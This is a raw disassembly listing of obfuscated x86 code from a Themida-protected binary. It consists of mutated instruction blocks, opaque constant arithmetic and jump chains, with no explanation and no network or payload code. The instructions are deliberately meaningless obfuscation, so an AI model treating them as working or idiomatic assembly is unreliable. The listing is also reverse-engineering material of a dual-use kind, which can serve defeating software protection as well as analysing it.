loc_59188E: ; CODE XREF: Themida_:005A24B3j
xchg esi, [esp]
pop esp
mov [esp], esi
mov esi, 61B649B6h
shr esi, 6
neg esi
shl esi, 8
not esi
add esi, 7DB20699h
sub eax, esi
mov esi, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
push ecx
push 2C5F1E43h
mov ecx, [esp]
jmp loc_5A1892
; ---------------------------------------------------------------------------
loc_5918D9: ; CODE XREF: Themida_:0059CF3Aj
sub ebx, eax
pop eax
xchg ebx, [esp]
mov esp, [esp]
push esp
jmp loc_59C078
; ---------------------------------------------------------------------------
loc_5918E8: ; CODE XREF: Themida_:00597199j
pop ebp
push ebp
push esp
mov ebp, [esp]
add esp, 4
push 11BDh
mov [esp], ebx
jmp loc_596256
; ---------------------------------------------------------------------------
loc_5918FE: ; CODE XREF: Themida_:0059932Ej
xor edi, ebx
neg ebx
xchg ebx, edi
shl edi, 2
push ebx
mov ebx, 3AF775D0h
add edi, ebx
mov ebx, [esp]
add esp, 4
add ebp, edi
mov edi, [esp]
add esp, 4
push eax
mov eax, 2
jmp loc_58F2BD
; ---------------------------------------------------------------------------
loc_59192B: ; CODE XREF: Themida_:00596085j
xor eax, [esp]
mov esp, [esp]
dec word ptr [esp]
pushf
jmp loc_5973F7
; ---------------------------------------------------------------------------
loc_59193B: ; CODE XREF: Themida_:0059343Dj
mov ch, bh
pop ebx
mov bh, ch
pop ecx
pop edx
push dword ptr [esp]
jmp loc_594D0C
; ---------------------------------------------------------------------------
loc_59194A: ; CODE XREF: Themida_:0059C88Aj
xor [esp], ecx
xor ecx, [esp]
pop esp
push 6039h
jmp loc_596ACB
; ---------------------------------------------------------------------------
loc_59195B: ; CODE XREF: Themida_:00590660j
add eax, 1
shl eax, 1
jmp loc_58F01D
; ---------------------------------------------------------------------------
loc_591965: ; CODE XREF: Themida_:00592DF0j
sub edi, 4A7B15CFh
add edi, ebx
add edi, 4A7B15CFh
push dword ptr [esp]
pop ebx
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
cmp cx, ax
pushf
jmp loc_59D782
; ---------------------------------------------------------------------------
loc_59198F: ; CODE XREF: Themida_:0059AF77j
mov ecx, 4
sub esi, ecx
pop ecx
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 45002419h
dec ebp
sub ebp, 0FFFFFFFFh
shl ebp, 2
push edi
mov edi, esp
jmp loc_595695
; ---------------------------------------------------------------------------
loc_5919B7: ; CODE XREF: Themida_:0059F91Bj
push eax
mov eax, 60B553FEh
neg eax
xor eax, 88B4D49Dh
add ebp, 45DA002Fh
add ebp, eax
sub ebp, 45DA002Fh
pop eax
jmp loc_599C42
; ---------------------------------------------------------------------------
loc_5919D8: ; CODE XREF: Themida_:005A072Fj
mov ecx, 3DA71ECEh
jmp loc_59F0DC
; ---------------------------------------------------------------------------
loc_5919E2: ; CODE XREF: Themida_:0059B669j
or edx, 361D4589h
jmp loc_58FEF0
; ---------------------------------------------------------------------------
loc_5919ED: ; CODE XREF: Themida_:0059AF90j
neg eax
push ebp
mov ebp, 5F9A0CDFh
not ebp
inc ebp
jmp loc_59E896
; ---------------------------------------------------------------------------
loc_5919FD: ; CODE XREF: Themida_:00595E93j
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
mov esi, 7A0F1BC1h
shr esi, 4
jmp loc_5A1938
; ---------------------------------------------------------------------------
loc_591A19: ; CODE XREF: Themida_:0059994Bj
add ebx, 4
add ebx, 4
xor ebx, [esp]
jmp loc_59DDA0
; ---------------------------------------------------------------------------
loc_591A2D: ; CODE XREF: Themida_:005906B3j
mov edx, 2CB2E6Ch
sub [esp+8], edx
mov edx, [esp]
add esp, 4
jmp loc_59B990
; ---------------------------------------------------------------------------
loc_591A41: ; CODE XREF: Themida_:005926F7j
pop edi
add esp, 4
jmp loc_5911CA
; ---------------------------------------------------------------------------
loc_591A4A: ; CODE XREF: Themida_:0058EE18j
pop esi
push edi
push 26F61C9Eh
jmp loc_59F5D7
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
mov edi, esp
push 4A9h
mov [esp], eax
push 4
pop eax
push ebp
push 7E5Ah
mov [esp], edx
mov edx, 112D0278h
jmp loc_59FD48
; ---------------------------------------------------------------------------
loc_591A7E: ; CODE XREF: Themida_:0058E7FBj
mov ebp, 71870B1h
push 0
sub [esp], ebp
pop ebp
and ebp, 77AB65F4h
add ebp, 3EEA5848h
neg ebp
sub esp, 4
mov [esp], ebp
not dword ptr [esp]
mov ebp, [esp]
add esp, 4
add ebp, 292771F7h
add edi, ebp
push dword ptr [esp]
jmp loc_5948F4
; ---------------------------------------------------------------------------
loc_591ABC: ; CODE XREF: Themida_:00598F0Bj
push esi
sub esp, 4
jmp loc_597409
; ---------------------------------------------------------------------------
loc_591AC5: ; CODE XREF: Themida_:0059EFCBj
sub edx, ebp
push ecx
mov ecx, 1041216Fh
or ecx, 6B592155h
shr ecx, 6
sub ecx, 18150E4Dh
xor ecx, 0C6C04F2Ah
sub edx, ecx
pop ecx
pop ebp
jmp loc_5A2EDD
; ---------------------------------------------------------------------------
loc_591AEB: ; CODE XREF: Themida_:00597ED7j
sub ebx, 1431427h
add ebp, ebx
push dword ptr [esp]
pop ebx
sub esp, 4
mov [esp], ebx
jmp loc_5A03C6
; ---------------------------------------------------------------------------
loc_591B02: ; CODE XREF: Themida_:0059680Fj
add esp, 4
push 3ACh
mov [esp], ecx
mov ecx, 200h
and eax, ecx
mov ecx, [esp]
sub esp, 4
mov [esp], edi
sub esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop edi
sub esp, 4
mov [esp], ebp
jmp loc_5A2479
; ---------------------------------------------------------------------------
loc_591B46: ; CODE XREF: Themida_:0059D1A4j
add esp, 4
jmp loc_5A2DD4
; ---------------------------------------------------------------------------
loc_591B4E: ; CODE XREF: Themida_:005A2FAFj
mov ebx, 133E622Ah
and ecx, ebx
pop ebx
xor ecx, 617E75EDh
shl ecx, 2
sub ecx, 73E55EEAh
mov edi, ecx
pop ecx
jmp loc_59DC3D
; ---------------------------------------------------------------------------
loc_591B6D: ; CODE XREF: Themida_:005901C4j
pop dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
sub esp, 4
mov [esp], esi
mov esi, 55294F63h
push ebp
mov ebp, 7C4F3A5Eh
add esi, ebp
jmp loc_599499
; ---------------------------------------------------------------------------
loc_591BAB: ; CODE XREF: Themida_:005A1F75j
pop esp
shl ecx, 4
shr ecx, 2
sub ecx, 651D5C24h
add ecx, 6E674AD8h
sub ecx, 10130558h
push ecx
jmp loc_5958D3
; ---------------------------------------------------------------------------
loc_591BCA: ; CODE XREF: Themida_:00598379j
pop eax
sub esp, 4
mov [esp], esi
jmp loc_5A2487
; ---------------------------------------------------------------------------
loc_591BD6: ; CODE XREF: Themida_:0059E04Bj
xor ebp, 390B4567h
add edi, ebp
pop ebp
add edi, 2D5D6518h
jmp loc_59BB90
; ---------------------------------------------------------------------------
loc_591BEA: ; CODE XREF: Themida_:0058FD31j
xor bl, al
push eax
jmp loc_5978E1
; ---------------------------------------------------------------------------
loc_591BF2: ; CODE XREF: Themida_:00593898j
add esp, 4
push eax
mov eax, 2
add edx, 12F6713Dh
add edx, eax
sub edx, 12F6713Dh
jmp loc_595D6C
; ---------------------------------------------------------------------------
loc_591C0E: ; CODE XREF: Themida_:005A1B61j
push ecx
mov ecx, 67425B1h
sub ecx, 73043F47h
jmp loc_5995C3
; ---------------------------------------------------------------------------
loc_591C1F: ; CODE XREF: Themida_:0059F61Ej
mov dh, ch
mov [edi+eax*4+1], dh
mov edx, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_591C48: ; CODE XREF: Themida_:005A0E3Bj
pop edi
push edi
mov edi, 2FC120AEh
shr edi, 6
or edi, 6E282997h
xor edi, 6EBF2D93h
sub ebp, 151319Eh
jmp loc_58EB02
; ---------------------------------------------------------------------------
loc_591C69: ; CODE XREF: Themida_:0058ED93j
xchg edx, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_599649
; ---------------------------------------------------------------------------
loc_591C77: ; CODE XREF: Themida_:0059F02Fj
sub al, bl
sub al, 1Ch
jmp loc_59E691
; ---------------------------------------------------------------------------
loc_591C80: ; CODE XREF: Themida_:005955B3j
pop edi
mov edx, esi
pop esi
jmp loc_5906CF
; ---------------------------------------------------------------------------
loc_591C89: ; CODE XREF: Themida_:0059D4B1j
push 41842968h
pop edi
jmp loc_599050
; ---------------------------------------------------------------------------
loc_591C94: ; CODE XREF: Themida_:00592FBAj
shr ebp, 7
xor ebp, 46F21DD2h
sub ebp, 3057A4BEh
add eax, ebp
pop ebp
jmp loc_59A755
; ---------------------------------------------------------------------------
loc_591CAB: ; CODE XREF: Themida_:00599BADj
push dx
push ecx
mov cl, 0CAh
mov dl, 0E3h
sub dl, cl
pop ecx
add al, dl
pop dx
sub al, 0Eh
sub al, bl
add al, 0Eh
push ecx
push edx
mov dl, 27h
dec dl
add dl, 29h
mov cl, dl
jmp loc_5A0022
; ---------------------------------------------------------------------------
loc_591CCF: ; CODE XREF: Themida_:0059EFB7j
add esp, 4
jmp loc_5A29C5
; ---------------------------------------------------------------------------
loc_591CD7: ; CODE XREF: Themida_:0059EE76j
push edi
jmp loc_591718
; ---------------------------------------------------------------------------
loc_591CDD: ; CODE XREF: Themida_:00591026j
pop dword ptr [esp]
jmp loc_597B24
; ---------------------------------------------------------------------------
loc_591CE5: ; CODE XREF: Themida_:0058EA00j
mov al, 0CDh
xor dl, al
pop ax
jmp loc_59C9EE
; ---------------------------------------------------------------------------
loc_591CF0: ; CODE XREF: Themida_:005A0813j
pop eax
mov cl, dh
pop edx
jmp loc_59B207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_591CF9: ; CODE XREF: sub_59233E+139Fj
jmp loc_58E353
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_591CFE: ; CODE XREF: Themida_:00596A00j
mov [esp], edi
push edx
jmp loc_59B664
; ---------------------------------------------------------------------------
loc_591D07: ; CODE XREF: Themida_:0059E1FFj
pop edx
or esi, ecx
pop ecx
xor esi, 471C7D9Dh
jmp loc_5A2304
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
mov ebp, esp
push edx
jmp loc_599D8B
; ---------------------------------------------------------------------------
loc_591D23: ; CODE XREF: Themida_:005995C4j
mov ebx, 45B31BB3h
sub ebx, 724656E2h
xor ecx, ebx
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5A3178
; ---------------------------------------------------------------------------
loc_591D45: ; CODE XREF: Themida_:0059E918j
mov ecx, 4
sub edx, 18733933h
jmp loc_58EB09
; ---------------------------------------------------------------------------
loc_591D55: ; CODE XREF: Themida_:005909ADj
add edi, 4
xchg edi, [esp]
jmp loc_593995
; ---------------------------------------------------------------------------
loc_591D63: ; CODE XREF: Themida_:00598269j
push ebp
mov ebp, 6C3008D8h
xor ebp, 6C3008DCh
add ebx, ebp
pop ebp
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
push 6557h
mov [esp], edi
push esp
jmp loc_5949F4
; ---------------------------------------------------------------------------
loc_591D88: ; CODE XREF: Themida_:005963B7j
sub ebp, 1C2C19E1h
add ebp, eax
add ebp, 1C2C19E1h
pop eax
add ebp, 4
jmp loc_599545
; ---------------------------------------------------------------------------
loc_591D9F: ; CODE XREF: Themida_:0059C2B1j
add ah, bh
pop ebx
xor ah, 6Ah
sub esp, 2
mov [esp], bx
mov bl, ah
not bl
mov ah, bl
pop bx
push ebx
mov bl, 95h
or ah, bl
pop ebx
jmp loc_59A99C
; ---------------------------------------------------------------------------
loc_591DBF: ; CODE XREF: Themida_:0059A4DCj
push edi
mov edi, 4
add eax, edi
push dword ptr [esp]
pop edi
add esp, 4
add eax, 4
xchg eax, [esp]
jmp loc_59AE59
; ---------------------------------------------------------------------------
loc_591DD9: ; CODE XREF: Themida_:0059436Ej
push dword ptr [esp]
jmp loc_5978EE
; ---------------------------------------------------------------------------
loc_591DE1: ; CODE XREF: Themida_:005A24E9j
mov edx, 266D57D6h
xor ecx, edx
pop edx
mov edi, ecx
push dword ptr [esp]
jmp loc_58E6CB
; ---------------------------------------------------------------------------
loc_591DF3: ; CODE XREF: Themida_:0058F662j
mov edi, ecx
pop ecx
jmp loc_592F3C
; ---------------------------------------------------------------------------
loc_591DFB: ; CODE XREF: Themida_:00596F7Bj
mov ecx, esp
jmp loc_59A543
; ---------------------------------------------------------------------------
loc_591E02: ; CODE XREF: Themida_:0059BED5j
mov edi, 34107CF5h
mov eax, edi
pop edi
mov ebp, eax
jmp loc_59114B
; ---------------------------------------------------------------------------
loc_591E11: ; CODE XREF: Themida_:005907BAj
mov [esp], ebx
mov ebx, 4C10D49h
mov ecx, ebx
mov ebx, [esp]
add esp, 4
push eax
mov eax, 7A6222E0h
sub [esp+8], eax
pop eax
add [esp+4], ecx
add dword ptr [esp+4], 7A6222E0h
jmp loc_595EB9
; ---------------------------------------------------------------------------
loc_591E40: ; CODE XREF: Themida_:0058FFEDj
push 34E6h
mov [esp], ebx
jmp loc_593B73
; ---------------------------------------------------------------------------
loc_591E4D: ; CODE XREF: Themida_:0059D052j
pop ebx
add edx, eax
pop eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_592099
; ---------------------------------------------------------------------------
loc_591E62: ; CODE XREF: Themida_:0059E998j
or edx, 7E1E63CEh
push ebx
push edi
push 0EDB5DADh
pop edi
shr edi, 8
add edi, 279D50C5h
jmp loc_59F44C
; ---------------------------------------------------------------------------
loc_591E7E: ; CODE XREF: Themida_:0059E2FFj
and edx, 6E629D8h
shl edx, 3
xor edx, 25214EC4h
jmp loc_5A102F
; ---------------------------------------------------------------------------
loc_591E92: ; CODE XREF: Themida_:00597E75j
pop esp
jmp loc_58FA6A
; ---------------------------------------------------------------------------
loc_591E98: ; CODE XREF: Themida_:005915A3j
mov edx, 4
add esi, edx
pop edx
add esi, 4
xchg esi, [esp]
pop esp
xchg edi, [esp]
mov esp, [esp]
jmp loc_59B7C2
; ---------------------------------------------------------------------------
loc_591EB5: ; CODE XREF: Themida_:00590EDBj
sub dh, 0Bh
jmp loc_59EBE4
; ---------------------------------------------------------------------------
loc_591EBD: ; CODE XREF: Themida_:0058F592j
add edi, ecx
pop ecx
jmp loc_592D4D
; ---------------------------------------------------------------------------
loc_591EC5: ; CODE XREF: Themida_:0059EE9Cj
xor [esp], edx
xor edx, [esp]
jmp loc_59FCF5
; ---------------------------------------------------------------------------
loc_591ED0: ; CODE XREF: Themida_:00596192j
add esp, 4
push eax
mov eax, 9F919A6h
neg eax
jmp loc_595905
; ---------------------------------------------------------------------------
loc_591EE3: ; CODE XREF: Themida_:00594B73j
xor ebp, 19764CBEh
jmp loc_59E83B
; ---------------------------------------------------------------------------
loc_591EEE: ; CODE XREF: Themida_:00590BE4j
mov [esp], bx
push edx
push ebx
push edx
jmp loc_59AC19
; ---------------------------------------------------------------------------
loc_591EFA: ; CODE XREF: Themida_:0059C517j
mov ebp, 455355B9h
dec ebp
xor ebp, 3FD02474h
sub ebp, 1BFA632Fh
or ebp, 5BBA4B71h
push esi
mov esi, 5FBB4FF9h
xor ebp, esi
jmp loc_59ED45
; ---------------------------------------------------------------------------
loc_591F1F: ; CODE XREF: Themida_:0059C81Fj
add ebx, 4
jmp loc_597971
; ---------------------------------------------------------------------------
loc_591F2A: ; CODE XREF: Themida_:00592375j
push ebx
mov ebx, 772E6933h
add eax, ebx
jmp loc_597FC6
; ---------------------------------------------------------------------------
loc_591F37: ; CODE XREF: Themida_:00591889j
add ebx, 0BA238141h
jmp loc_59CB2C
; ---------------------------------------------------------------------------
loc_591F42: ; CODE XREF: Themida_:0058E964j
pop edx
jmp loc_599A9F
; ---------------------------------------------------------------------------
loc_591F48: ; CODE XREF: Themida_:0059902Bj
mov edx, 0DF8576Fh
jmp loc_5985AB
; ---------------------------------------------------------------------------
loc_591F52: ; CODE XREF: Themida_:00596FA0j
push ecx
xor dword ptr [esp], 29556077h
jmp loc_594460
; ---------------------------------------------------------------------------
loc_591F5F: ; CODE XREF: Themida_:005986B4j
push edi
mov edi, esp
push ecx
mov ecx, 173B0DADh
add ecx, 7C0E4759h
or ecx, 60D37BA5h
jmp loc_59FA27
; ---------------------------------------------------------------------------
loc_591F79: ; CODE XREF: Themida_:0059843Fj
push 6163h
mov [esp], esi
jmp loc_5952EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_591F86: ; CODE XREF: sub_59233E+D625j
push edi
mov edi, 61E73299h
push edi
xor dword ptr [esp+0], 0EF90373h
pop edx
jmp loc_59CC4B
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_591F9A: ; CODE XREF: Themida_:00595D1Cj
pop eax
mov eax, ecx
pop ecx
mov esi, eax
pop eax
push edi
mov edi, 0FCA9E1A2h
add esi, edi
pop edi
add edx, 1EDF41F3h
sub edx, esi
sub edx, 1EDF41F3h
jmp loc_5A30FE
; ---------------------------------------------------------------------------
loc_591FBD: ; CODE XREF: Themida_:00599EB4j
sub eax, ebp
sub esp, 4
mov [esp], ebx
mov ebx, 232679F4h
sub eax, ebx
mov ebx, [esp]
add esp, 4
pop ebp
add eax, 6A6B62ADh
push 0EC2h
mov [esp], edx
push 36EC2C48h
pop edx
add eax, edx
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, esp
jmp loc_5A1C7F
; ---------------------------------------------------------------------------
loc_591FFB: ; CODE XREF: Themida_:0059F81Aj
xor edx, ebp
pop ebp
xor edx, 0FEEEF29Fh
add ecx, edx
pop edx
jmp loc_5A19ED
; ---------------------------------------------------------------------------
locret_59200C: ; CODE XREF: Themida_:0058ED81j
retn
; ---------------------------------------------------------------------------
jmp loc_590D22
; ---------------------------------------------------------------------------
loc_592012: ; CODE XREF: Themida_:005920E3j
add bl, dl
pop edx
sub bl, ah
sub bl, 0Ah
pop ax
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
jmp loc_590ECA
; ---------------------------------------------------------------------------
loc_59202A: ; CODE XREF: Themida_:005940E9j
push ebx
mov ebx, 6535180Fh
push ebx
jmp loc_592512
; ---------------------------------------------------------------------------
loc_592036: ; CODE XREF: Themida_:00590614j
add edi, 3B304A7Dh
sub edi, 77D314E4h
jmp loc_592BE2
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_592056: ; CODE XREF: Themida_:005A0A7Cj
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5A318F
; ---------------------------------------------------------------------------
loc_592064: ; CODE XREF: Themida_:0059120Bj
mov esi, 9D9C595Fh
mov edx, esi
pop esi
sub edx, ebp
jmp loc_5930A2
; ---------------------------------------------------------------------------
loc_592073: ; CODE XREF: Themida_:005963A6j
pop ebx
add al, bl
push ecx
mov ch, 5Fh
jmp loc_59710A
; ---------------------------------------------------------------------------
loc_59207E: ; CODE XREF: Themida_:005A108Bj
mov ebx, 4
add edx, ebx
pop ebx
xchg edx, [esp]
mov esp, [esp]
jmp loc_5944B3
; ---------------------------------------------------------------------------
loc_592091: ; CODE XREF: Themida_:0059C526j
mov ah, 19h
push ebx
jmp loc_5913D4
; ---------------------------------------------------------------------------
loc_592099: ; CODE XREF: Themida_:00591E5Dj
xchg ecx, [esp]
pop esp
mov [esp], ecx
mov ecx, 2
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
mov ebx, 5FEB01EFh
add edx, ebx
jmp loc_59F9E5
; ---------------------------------------------------------------------------
loc_5920C7: ; CODE XREF: Themida_:00599D01j
sub bl, al
sub bl, 0E2h
push small 2Dh
mov [esp], ax
mov ah, 0DAh
push edx
mov dl, 4Eh
dec dl
not dl
and dl, 0F6h
sub dl, 0A8h
jmp loc_592012
; ---------------------------------------------------------------------------
loc_5920E8: ; CODE XREF: Themida_:0059A7ADj
add esp, 4
push eax
push 7642h
mov [esp], ecx
mov ecx, 4FC05B8Ah
xor ecx, 7A342116h
add ecx, 4C97BB8h
jmp loc_58EEEB
; ---------------------------------------------------------------------------
mov ecx, [esp]
push ebx
jmp loc_5A2ED3
; ---------------------------------------------------------------------------
loc_592113: ; CODE XREF: Themida_:005A20EBj
mov esi, esp
add esi, 4
add esi, 4
push esi
jmp loc_5903E0
; ---------------------------------------------------------------------------
loc_592124: ; CODE XREF: Themida_:0058EC62j
xchg eax, esi
jmp loc_59AE3A
; ---------------------------------------------------------------------------
loc_59212A: ; CODE XREF: Themida_:00595E56j
add esp, 4
push 37ECh
jmp loc_593612
; ---------------------------------------------------------------------------
loc_59213A: ; CODE XREF: Themida_:0059C1E5j
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_5A2A03
; ---------------------------------------------------------------------------
loc_59214C: ; CODE XREF: Themida_:0058EAE3j
pop ecx
push edi
neg dword ptr [esp]
jmp loc_5A10BD
; ---------------------------------------------------------------------------
loc_592156: ; CODE XREF: Themida_:00592D92j
add esi, 15807A4Fh
shl esi, 4
push eax
jmp loc_597F40
; ---------------------------------------------------------------------------
loc_592165: ; CODE XREF: Themida_:0058E990j
add eax, ecx
pop ecx
sub eax, ebp
jmp loc_59B0BF
; ---------------------------------------------------------------------------
loc_59216F: ; CODE XREF: Themida_:00592811j
sub ebx, 634E3FDFh
sub ebx, edx
jmp loc_59B7DE
; ---------------------------------------------------------------------------
loc_59217C: ; CODE XREF: Themida_:0059E1BFj
mov si, 2F7Ch
sub si, 3536h
jmp loc_5950AE
; ---------------------------------------------------------------------------
loc_59218A: ; CODE XREF: Themida_:0059BD01j
add ecx, 4
add ecx, 4
push ecx
jmp loc_591021
; ---------------------------------------------------------------------------
loc_59219C: ; CODE XREF: Themida_:005982D2j
pop esi
push ebx
jmp loc_59D2CD
; ---------------------------------------------------------------------------
loc_5921A3: ; CODE XREF: Themida_:005A2DCFj
push ebp
push 6ADD1732h
pop ebp
push ebp
jmp loc_59A301
; ---------------------------------------------------------------------------
loc_5921B0: ; CODE XREF: Themida_:0059FCCFj
mov dx, 734Eh
add [esp+2], dx
pop dx
pop di
sub di, 734Eh
pop eax
shr di, 4
xor di, 579Ah
not di
sub di, 0FFFFh
push edi
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
pop ebx
sub edi, 4
xchg edi, [esp]
jmp loc_59E1BB
; ---------------------------------------------------------------------------
loc_5921EA: ; CODE XREF: Themida_:0058F7FCj
not ebp
shl ebp, 7
jmp loc_596549
; ---------------------------------------------------------------------------
loc_5921F4: ; CODE XREF: Themida_:005944A6j
pop ebx
add esi, 0FFFFFFFFh
not esi
and esi, 451E35D2h
sub esi, 0B49CCE22h
sub eax, 16826624h
add eax, esi
jmp loc_592EB9
; ---------------------------------------------------------------------------
loc_592215: ; CODE XREF: Themida_:00598DECj
sub esp, 4
mov [esp], esi
jmp loc_5A0A31
; ---------------------------------------------------------------------------
loc_592223: ; CODE XREF: Themida_:00592722j
xor [esp], eax
xor eax, [esp]
pop esp
idiv cl
movzx cx, ah
push ebx
push esp
pop ebx
push ecx
mov ecx, 23DA4732h
inc ecx
jmp loc_59BAD1
; ---------------------------------------------------------------------------
loc_59223F: ; CODE XREF: Themida_:00595DD0j
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esp
push 6014h
mov [esp], ebx
mov ebx, 4
add [esp+4], ebx
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
push 5227h
mov [esp], edx
mov edx, esp
push edi
mov edi, 0FAE0D47h
not edi
shr edi, 3
or edi, 61502EFDh
add edi, 58C5127Dh
xor edi, 0D81F5178h
add edx, edi
pop edi
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
add ebx, 4
push edx
mov edx, 2
add ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
mov ax, [esp]
push eax
push esp
pop eax
push 45A4h
mov [esp], edx
mov edx, 717F07B8h
add edx, 0FFFFFFFFh
not edx
add edx, 1
push 2C96h
mov [esp], ebp
mov ebp, 4E8364CFh
and edx, ebp
jmp loc_5A140D
; ---------------------------------------------------------------------------
loc_592306: ; CODE XREF: Themida_:0059C84Ej
and edx, 3F625E7Dh
dec edx
xor edx, 0F369E093h
xor esi, edx
pop edx
xor ebx, esi
pop esi
add ecx, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
push 3F0Ch
jmp loc_596266
; ---------------------------------------------------------------------------
loc_592331: ; CODE XREF: Themida_:0059DEE6j
push esi
jmp loc_59C8F2
; ---------------------------------------------------------------------------
loc_592337: ; CODE XREF: Themida_:00592990j
add edi, esi
jmp loc_58FFD2
; =============== S U B R O U T I N E =======================================
sub_59233E proc near ; CODE XREF: sub_592E30+DAE7j
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005901D7 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 005916C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591737 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00591CF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00591F86 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005936A2 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00594794 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00596993 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596EB1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597D43 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059939D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059BBFA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059CC4B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EC07 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059F94A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A00E5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A1B0F SIZE 0000000D BYTES
push ebx
push edx
pop ebx
jmp loc_5A00E5
sub_59233E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_592346: ; CODE XREF: sub_59FCFF-D31Bj
sub edi, ecx
push [esp+8+var_8]
pop ecx
add esp, 4
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
jmp loc_590784
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_59235D: ; CODE XREF: Themida_:0059A75Fj
add eax, edi
sub eax, 53677D88h
sub eax, 22253469h
push ebp
mov ebp, 7FF237A6h
add ebp, 96ADE7AFh
jmp loc_591F2A
; ---------------------------------------------------------------------------
loc_59237A: ; CODE XREF: Themida_:0058F903j
mov ebp, 1
jmp loc_59C06C
; ---------------------------------------------------------------------------
loc_592384: ; CODE XREF: Themida_:0058E5E8j
push 789435D2h
pop edi
push ebp
push 43DD0912h
mov ebp, [esp]
add esp, 4
mov esi, 908A1C45h
xor esi, ebp
pop ebp
add esi, 263D2400h
sub esi, edi
push ebx
mov ebx, 263D2400h
jmp loc_59C793
; ---------------------------------------------------------------------------
loc_5923B1: ; CODE XREF: Themida_:00595741j
push dword ptr [esp]
pop ecx
push 3EFFh
mov [esp], ecx
mov ecx, esp
push eax
mov eax, 1AB65E8Bh
xor eax, 67026E6Ch
jmp loc_591565
; ---------------------------------------------------------------------------
loc_5923CF: ; CODE XREF: Themida_:0059D367j
push esp
push dword ptr [esp]
jmp loc_59AA77
; ---------------------------------------------------------------------------
loc_5923D8: ; CODE XREF: Themida_:00597E8Ej
mov [esp], eax
push ebx
push ecx
jmp loc_59D7ED
; ---------------------------------------------------------------------------
loc_5923E2: ; CODE XREF: Themida_:0059954Bj
add al, bl
add al, 0D5h
push ecx
mov cl, 78h
neg cl
sub cl, 27h
sub al, cl
mov ecx, [esp]
add esp, 4
push ecx
mov ch, 26h
push 24C7h
mov [esp], ebx
mov bh, 0D1h
sub al, 27h
jmp loc_58E84F
; ---------------------------------------------------------------------------
loc_59240D: ; CODE XREF: Themida_:0059D7DAj
shl edx, 5
add edx, 0A48CD9FEh
mov ebp, edx
pop edx
jmp loc_59335C
; ---------------------------------------------------------------------------
loc_59241E: ; CODE XREF: Themida_:0059B2F3j
sub ebp, 280F1DB3h
pop edx
sub ebx, 3BE830E0h
add ebx, ebp
add ebx, 3BE830E0h
pop ebp
push edx
push 487Fh
mov [esp], ecx
push edx
push 357A1A47h
pop edx
jmp loc_597E7A
; ---------------------------------------------------------------------------
loc_592449: ; DATA XREF: Themida_:0058E0A8o
mov eax, [esp]
push eax
mov eax, esp
sub esp, 4
mov [esp], esi
mov esi, 6D164541h
add esi, 106C307Ah
jmp loc_599A60
; ---------------------------------------------------------------------------
loc_592465: ; CODE XREF: Themida_:0059B16Aj
sub edi, 2A7A7971h
sub edi, ebp
add edi, 2A7A7971h
push dword ptr [esp]
